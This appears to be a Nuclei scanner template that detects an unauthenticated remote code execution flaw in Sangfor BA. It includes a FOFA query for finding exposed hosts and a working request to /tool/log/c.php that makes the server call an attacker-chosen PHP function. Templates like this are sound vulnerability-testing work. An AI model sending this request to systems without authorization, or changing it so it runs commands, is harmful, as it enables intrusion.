id: sangfor-ba-rce info: name: Sangfor BA - Remote Code Execution author: ritikchaddha severity: critical description: | Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands. reference: - https://mobile.twitter.com/sec715/status/1406886851072253953 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: verified: true max-request: 1 fofa-query: app="sangfor" tags: rce,sangfor,intrusive http: - method: GET path: - "{{BaseURL}}/tool/log/c.php?strip_slashes=md5&host={{randstr}}" matchers-condition: and matchers: - type: word part: body words: - '{{md5("{{randstr}}")}}' - type: status status: - 200 # digest: 4a0a00473045022100f1ed5e1638d0978a3905d23b7493e75aa8e7fed23f80cd3e86f1bb05ec8e4698022027330409faf5f06d1f3d87d626fd57a2a8ce1eae8d63fa80c5240e6d49dcfeab:922c64590222798bb761d5b6d8e72950